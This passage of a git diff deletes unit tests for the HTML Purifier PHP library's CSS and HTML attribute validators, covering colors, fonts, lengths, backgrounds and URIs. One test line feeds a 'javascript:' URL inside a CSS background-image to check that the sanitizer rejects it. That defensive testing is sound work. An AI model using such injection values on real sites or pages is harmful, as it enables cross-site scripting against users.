$this->assertDef('.2'); - - // clamping to [0.0, 1,0] - $this->assertDef('1.2', '1'); - $this->assertDef('-3', '0'); - - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('000', '0'); - - $this->assertDef('asdf', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php deleted file mode 100644 index 134df67..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php +++ /dev/null @@ -1,70 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/CSS/BackgroundPosition.php'; - -class HTMLPurifier_AttrDef_CSS_BackgroundPositionTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); - - // explicitly cited in spec - $this->assertDef('0% 0%'); - $this->assertDef('100% 100%'); - $this->assertDef('14% 84%'); - $this->assertDef('2cm 1cm'); - $this->assertDef('top'); - $this->assertDef('left'); - $this->assertDef('center'); - $this->assertDef('right'); - $this->assertDef('bottom'); - $this->assertDef('left top'); - $this->assertDef('center top'); - $this->assertDef('right top'); - $this->assertDef('left center'); - $this->assertDef('right center'); - $this->assertDef('left bottom'); - $this->assertDef('center bottom'); - $this->assertDef('right bottom'); - - // reordered due to internal impl details - $this->assertDef('top left', 'left top'); - $this->assertDef('top center', 'center top'); - $this->assertDef('top right', 'right top'); - $this->assertDef('center left', 'left center'); - $this->assertDef('center center', 'center'); // two centers collide - $this->assertDef('center right', 'right center'); - $this->assertDef('bottom left', 'left bottom'); - $this->assertDef('bottom center', 'center bottom'); - $this->assertDef('bottom right', 'right bottom'); - - // more cases from the defined syntax - $this->assertDef('1.32in 4ex'); - $this->assertDef('-14% -84.65%'); - $this->assertDef('-1in -4ex'); - $this->assertDef('-1pc 2.3%'); - - // keyword mixing - $this->assertDef('3em top'); - $this->assertDef('left 50%'); - - // fixable keyword mixing - $this->assertDef('top 3em', '3em top'); - $this->assertDef('50% left', 'left 50%'); - - // whitespace collapsing - $this->assertDef('3em top', '3em top'); - $this->assertDef("left\n \t foo ", 'left'); - - // invalid uses (we're going to be strict on these) - $this->assertDef('foo bar', false); - $this->assertDef('left left', 'left'); - $this->assertDef('left right top bottom center left', 'left bottom'); - $this->assertDef('0fr 9%', '9%'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php deleted file mode 100644 index 7cd60d3..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Background.php'; - -class HTMLPurifier_AttrDef_CSS_BackgroundTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $config = HTMLPurifier_Config::createDefault(); - $this->def = new HTMLPurifier_AttrDef_CSS_Background($config); - - $valid = '#333 url(chess.png) repeat fixed 50% top'; - $this->assertDef($valid); - $this->assertDef('url("chess.png") #333 50% top repeat fixed', $valid); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php deleted file mode 100644 index 5eaceae..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Border.php'; - -class HTMLPurifier_AttrDef_CSS_BorderTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $config = HTMLPurifier_Config::createDefault(); - $this->def = new HTMLPurifier_AttrDef_CSS_Border($config); - - $this->assertDef('thick solid red', 'thick solid #FF0000'); - $this->assertDef('thick solid'); - $this->assertDef('solid red', 'solid #FF0000'); - $this->assertDef('1px solid #000'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php deleted file mode 100644 index 4cb8602..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Color.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_ColorTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Color(); - - $this->assertDef('#F00'); - $this->assertDef('#fff'); - $this->assertDef('#eeeeee'); - $this->assertDef('#808080'); - $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces - $this->assertDef('rgb(100%,0%,0%)'); - $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay - - $this->assertDef('#G00', false); - $this->assertDef('cmyk(40, 23, 43, 23)', false); - $this->assertDef('rgb(0%, 23, 68%)', false); - - // clip numbers outside sRGB gamut - $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)'); - $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)'); - - // color keywords, of course - $this->assertDef('red', '#FF0000'); - - // malformed hex declaration - $this->assertDef('808080', '#808080'); - $this->assertDef('000000', '#000000'); - $this->assertDef('fed', '#fed'); - - // maybe hex transformations would be another nice feature - // at the very least transform rgb percent to rgb integer - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php deleted file mode 100644 index 7a31b34..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php +++ /dev/null @@ -1,92 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Composite.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_Composite_Testable extends - HTMLPurifier_AttrDef_CSS_Composite -{ - - // we need to pass by ref to get the mocks in - function HTMLPurifier_AttrDef_CSS_Composite_Testable(&$defs) { - $this->defs =& $defs; - } - -} - -class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness -{ - - protected $def1, $def2; - - function test() { - - generate_mock_once('HTMLPurifier_AttrDef'); - - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - // first test: value properly validates on first definition - // so second def is never called - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'FOOBAR'; - $output = 'foobar'; - $def1_params = array($input, $config, $context); - $def1->expectOnce('validate', $def1_params); - $def1->setReturnValue('validate', $output, $def1_params); - $def2->expectNever('validate'); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - $def1->tally(); - $def2->tally(); - - // second test, first def fails, second def works - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = 'booma'; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', $output, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - $def1->tally(); - $def2->tally(); - - // third test, all fail, so composite faiils - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = false; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', false, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - $def1->tally(); - $def2->tally(); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php deleted file mode 100644 index a7aa481..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php +++ /dev/null @@ -1,31 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Filter.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_FilterTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Filter(); - - $this->assertDef('none'); - - $this->assertDef('alpha(opacity=0)'); - $this->assertDef('alpha(opacity=100)'); - $this->assertDef('alpha(opacity=50)'); - $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)'); - $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)'); - - $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)'); - $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php deleted file mode 100644 index 2557112..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/CSS/FontFamily.php'; - -class HTMLPurifier_AttrDef_CSS_FontFamilyTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_FontFamily(); - - $this->assertDef('Gill, Helvetica, sans-serif'); - $this->assertDef('\'Times New Roman\', serif'); - $this->assertDef('"Times New Roman"', "'Times New Roman'"); - $this->assertDef('01234'); - $this->assertDef(',', false); - $this->assertDef('Times New Roman, serif', '\'Times New Roman\', serif'); - $this->assertDef($d = "'John\\'s Font'"); - $this->assertDef("John's Font", $d); - $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'"); - $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontTest.php deleted file mode 100644 index 4865086..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/FontTest.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Font.php'; - -class HTMLPurifier_AttrDef_CSS_FontTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $config = HTMLPurifier_Config::createDefault(); - $this->def = new HTMLPurifier_AttrDef_CSS_Font($config); - - // hodgepodge of usage cases from W3C spec, but " -> ' - $this->assertDef('12px/14px sans-serif'); - $this->assertDef('80% sans-serif'); - $this->assertDef('x-large/110% \'New Century Schoolbook\', serif'); - $this->assertDef('bold italic large Palatino, serif'); - $this->assertDef('normal small-caps 120%/120% fantasy'); - $this->assertDef('300 italic 1.3em/1.7em \'FB Armada\', sans-serif'); - $this->assertDef('600 9px Charcoal'); - $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal'); - - // spacing - $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif'); - - // system fonts - $this->assertDef('menu'); - - $this->assertDef('800', false); - $this->assertDef('600 9px//12px Charcoal', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php deleted file mode 100644 index d7914e8..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php +++ /dev/null @@ -1,42 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Length.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_LengthTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Length(); - - $this->assertDef('0'); - $this->assertDef('0px'); - $this->assertDef('4.5px'); - $this->assertDef('-4.5px'); - $this->assertDef('3ex'); - $this->assertDef('3em'); - $this->assertDef('3in'); - $this->assertDef('3cm'); - $this->assertDef('3mm'); - $this->assertDef('3pt'); - $this->assertDef('3pc'); - - $this->assertDef('3PX', '3px'); - - $this->assertDef('3', false); - $this->assertDef('3miles', false); - - } - - function testNonNegative() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Length(true); - - $this->assertDef('3cm'); - $this->assertDef('-3mm', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php deleted file mode 100644 index ff9391a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php +++ /dev/null @@ -1,37 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/CSS/ListStyle.php'; - -class HTMLPurifier_AttrDef_CSS_ListStyleTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $config = HTMLPurifier_Config::createDefault(); - $this->def = new HTMLPurifier_AttrDef_CSS_ListStyle($config); - - $this->assertDef('lower-alpha'); - $this->assertDef('upper-roman inside'); - $this->assertDef('circle outside'); - $this->assertDef('inside'); - $this->assertDef('none'); - $this->assertDef('url(foo.gif)'); - $this->assertDef('circle url(foo.gif) inside'); - - // invalid values - $this->assertDef('outside inside', 'outside'); - - // ordering - $this->assertDef('url(foo.gif) none', 'none url(foo.gif)'); - $this->assertDef('circle lower-alpha', 'circle'); - // the spec is ambiguous about what happens in these - // cases, so we're going off the W3C CSS validator - $this->assertDef('disc none', 'disc'); - $this->assertDef('none disc', 'none'); - - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php deleted file mode 100644 index 81342a7..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Multiple.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -// borrowed for the sakes of this test -require_once 'HTMLPurifier/AttrDef/Integer.php'; - -class HTMLPurifier_AttrDef_CSS_MultipleTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - $this->def = new HTMLPurifier_AttrDef_CSS_Multiple( - new HTMLPurifier_AttrDef_Integer() - ); - - $this->assertDef('1 2 3 4'); - $this->assertDef('6'); - $this->assertDef('4 5'); - $this->assertDef(' 2 54 2 3', '2 54 2 3'); - $this->assertDef("6\r3", '6 3'); - - $this->assertDef('asdf', false); - $this->assertDef('a s d f', false); - $this->assertDef('1 2 3 4 5', '1 2 3 4'); - $this->assertDef('1 2 invalid 3', '1 2 3'); - - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php deleted file mode 100644 index 8aa3ce2..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php +++ /dev/null @@ -1,53 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Number.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_NumberTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Number(); - - $this->assertDef('0'); - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('34'); - $this->assertDef('4.5'); - $this->assertDef('.5'); - $this->assertDef('0.5', '.5'); - $this->assertDef('-56.9'); - - $this->assertDef('0.', '0'); - $this->assertDef('.0', '0'); - $this->assertDef('0.0', '0'); - - $this->assertDef('1.', '1'); - $this->assertDef('.1', '.1'); - - $this->assertDef('1.0', '1'); - $this->assertDef('0.1', '.1'); - - $this->assertDef('000', '0'); - $this->assertDef(' 9', '9'); - $this->assertDef('+5.0000', '5'); - $this->assertDef('02.20', '2.2'); - $this->assertDef('2.', '2'); - - $this->assertDef('.', false); - $this->assertDef('asdf', false); - $this->assertDef('0.5.6', false); - - } - - function testNonNegative() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Number(true); - $this->assertDef('23'); - $this->assertDef('-12', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php deleted file mode 100644 index 3ca210a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/Percentage.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_PercentageTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Percentage(); - - $this->assertDef('10%'); - $this->assertDef('1.607%'); - $this->assertDef('-567%'); - - $this->assertDef(' 100% ', '100%'); - - $this->assertDef('5', false); - $this->assertDef('asdf', false); - $this->assertDef('%', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php deleted file mode 100644 index fb0ccf4..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/CSS/TextDecoration.php'; - -class HTMLPurifier_AttrDef_CSS_TextDecorationTest extends HTMLPurifier_AttrDefHarness -{ - - function testCaseInsensitive() { - - $this->def = new HTMLPurifier_AttrDef_CSS_TextDecoration(); - - $this->assertDef('underline'); - $this->assertDef('overline'); - $this->assertDef('line-through overline underline'); - $this->assertDef('overline line-through'); - $this->assertDef('UNDERLINE', 'underline'); - $this->assertDef(' underline line-through ', 'underline line-through'); - - $this->assertDef('foobar underline', 'underline'); - $this->assertDef('blink', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/URITest.php deleted file mode 100644 index 97e547c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/URITest.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/URI.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_URITest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_URI(); - - $this->assertDef('', false); - - // we could be nice but we won't be - $this->assertDef('http://www.example.com/', false); - - // no quotes are used, since that's the most widely supported - // syntax - $this->assertDef('url(', false); - $this->assertDef('url()', true); - $result = "url(http://www.example.com/)"; - $this->assertDef('url(http://www.example.com/)', $result); - $this->assertDef('url("http://www.example.com/")', $result); - $this->assertDef("url('http://www.example.com/')", $result); - $this->assertDef( - ' url( "http://www.example.com/" ) ', $result); - - // escaping - $this->assertDef("url(http://www.example.com/foo,bar\))", - "url(http://www.example.com/foo\,bar\))"); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSSTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSSTest.php deleted file mode 100644 index a4ffc50..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSSTest.php +++ /dev/null @@ -1,134 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSSTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS(); - - // regular cases, singular - $this->assertDef('text-align:right;'); - $this->assertDef('border-left-style:solid;'); - $this->assertDef('border-style:solid dotted;'); - $this->assertDef('clear:right;'); - $this->assertDef('float:left;'); - $this->assertDef('font-style:italic;'); - $this->assertDef('font-variant:small-caps;'); - $this->assertDef('font-weight:bold;'); - $this->assertDef('list-style-position:outside;'); - $this->assertDef('list-style-type:upper-roman;'); - $this->assertDef('list-style:upper-roman inside;'); - $this->assertDef('text-transform:capitalize;'); - $this->assertDef('background-color:rgb(0,0,255);'); - $this->assertDef('background-color:transparent;'); - $this->assertDef('background:#333 url(chess.png) repeat fixed 50% top;'); - $this->assertDef('color:#F00;'); - $this->assertDef('border-top-color:#F00;'); - $this->assertDef('border-color:#F00 #FF0;'); - $this->assertDef('border-top-width:thin;'); - $this->assertDef('border-top-width:12px;'); - $this->assertDef('border-width:5px 1px 4px 2px;'); - $this->assertDef('border-top-width:-12px;', false); - $this->assertDef('letter-spacing:normal;'); - $this->assertDef('letter-spacing:2px;'); - $this->assertDef('word-spacing:normal;'); - $this->assertDef('word-spacing:3em;'); - $this->assertDef('font-size:200%;'); - $this->assertDef('font-size:larger;'); - $this->assertDef('font-size:12pt;'); - $this->assertDef('line-height:2;'); - $this->assertDef('line-height:2em;'); - $this->assertDef('line-height:20%;'); - $this->assertDef('line-height:normal;'); - $this->assertDef('line-height:-20%;', false); - $this->assertDef('margin-left:5px;'); - $this->assertDef('margin-right:20%;'); - $this->assertDef('margin-top:auto;'); - $this->assertDef('margin:auto 5%;'); - $this->assertDef('padding-bottom:5px;'); - $this->assertDef('padding-top:20%;'); - $this->assertDef('padding:20% 10%;'); - $this->assertDef('padding-top:-20%;', false); - $this->assertDef('text-indent:3em;'); - $this->assertDef('text-indent:5%;'); - $this->assertDef('text-indent:-3em;'); - $this->assertDef('width:50%;'); - $this->assertDef('width:50px;'); - $this->assertDef('width:auto;'); - $this->assertDef('width:-50px;', false); - $this->assertDef('text-decoration:underline;'); - $this->assertDef('font-family:sans-serif;'); - $this->assertDef('font-family:Gill, \'Times New Roman\', sans-serif;'); - $this->assertDef('font:12px serif;'); - $this->assertDef('border:1px solid #000;'); - $this->assertDef('border-bottom:2em double #FF00FA;'); - $this->assertDef('border-collapse:collapse;'); - $this->assertDef('border-collapse:separate;'); - $this->assertDef('caption-side:top;'); - $this->assertDef('vertical-align:middle;'); - $this->assertDef('vertical-align:12px;'); - $this->assertDef('vertical-align:50%;'); - $this->assertDef('table-layout:fixed;'); - $this->assertDef('list-style-image:url(nice.jpg);'); - $this->assertDef('list-style:disc url(nice.jpg) inside;'); - $this->assertDef('background-image:url(foo.jpg);'); - $this->assertDef('background-image:none;'); - $this->assertDef('background-repeat:repeat-y;'); - $this->assertDef('background-attachment:fixed;'); - $this->assertDef('background-position:left 90%;'); - $this->assertDef('border-spacing:1em;'); - $this->assertDef('border-spacing:1em 2em;'); - - // duplicates - $this->assertDef('text-align:right;text-align:left;', - 'text-align:left;'); - - // a few composites - $this->assertDef('font-variant:small-caps;font-weight:900;'); - $this->assertDef('float:right;text-align:right;'); - - // selective removal - $this->assertDef('text-transform:capitalize;destroy:it;', - 'text-transform:capitalize;'); - - // inherit works for everything - $this->assertDef('text-align:inherit;'); - - // bad props - $this->assertDef('nodice:foobar;', false); - $this->assertDef('position:absolute;', false); - $this->assertDef('background-image:url(javascript:alert\(\));', false); - - // airy input - $this->assertDef(' font-weight : bold; color : #ff0000', - 'font-weight:bold;color:#ff0000;'); - - // case-insensitivity - $this->assertDef('FLOAT:LEFT;', 'float:left;'); - - } - - function testProprietary() { - $this->config->set('CSS', 'Proprietary', true); - $this->def = new HTMLPurifier_AttrDef_CSS(); - - $this->assertDef('scrollbar-arrow-color:#ff0;'); - $this->assertDef('scrollbar-base-color:#ff6347;'); - $this->assertDef('scrollbar-darkshadow-color:#ffa500;'); - $this->assertDef('scrollbar-face-color:#008080;'); - $this->assertDef('scrollbar-highlight-color:#ff69b4;'); - $this->assertDef('scrollbar-shadow-color:#f0f;'); - - $this->assertDef('opacity:.2;'); - $this->assertDef('-moz-opacity:.2;'); - $this->assertDef('-khtml-opacity:.2;'); - $this->assertDef('filter:alpha(opacity=20);'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/EnumTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/EnumTest.php deleted file mode 100644 index 013b660..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/EnumTest.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/Enum.php'; - -class HTMLPurifier_AttrDef_EnumTest extends HTMLPurifier_AttrDefHarness -{ - - function testCaseInsensitive() { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two')); - $this->assertDef('one'); - $this->assertDef('ONE', 'one'); - } - - function testCaseSensitive() { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true); - $this->assertDef('one'); - $this->assertDef('ONE', false); - } - - function testFixing() { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one')); - $this->assertDef(' one ', 'one'); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_Enum(); - - $def = $factory->make('foo,bar'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')); - $this->assertIdentical($def, $def2); - - $def = $factory->make('s:foo,BAR'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true); - $this->assertIdentical($def, $def2); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php deleted file mode 100644 index 87e8a8e..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Bool.php'; - -class HTMLPurifier_AttrDef_HTML_BoolTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - $this->def = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertDef('foo'); - $this->assertDef('', false); - $this->assertDef('bar', false); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_HTML_Bool(); - $def = $factory->make('foo'); - $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertIdentical($def, $def2); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php deleted file mode 100644 index 72f6c90..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php +++ /dev/null @@ -1,22 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Color.php'; - -class HTMLPurifier_AttrDef_HTML_ColorTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - $this->def = new HTMLPurifier_AttrDef_HTML_Color(); - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('43', false); - $this->assertDef('red', '#FF0000'); - $this->assertDef('#FF0000'); - $this->assertDef('#453443'); - $this->assertDef('453443', '#453443'); - $this->assertDef('#345', '#334455'); - $this->assertDef('120', '#112200'); - } -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php deleted file mode 100644 index 1135333..0000000 --- 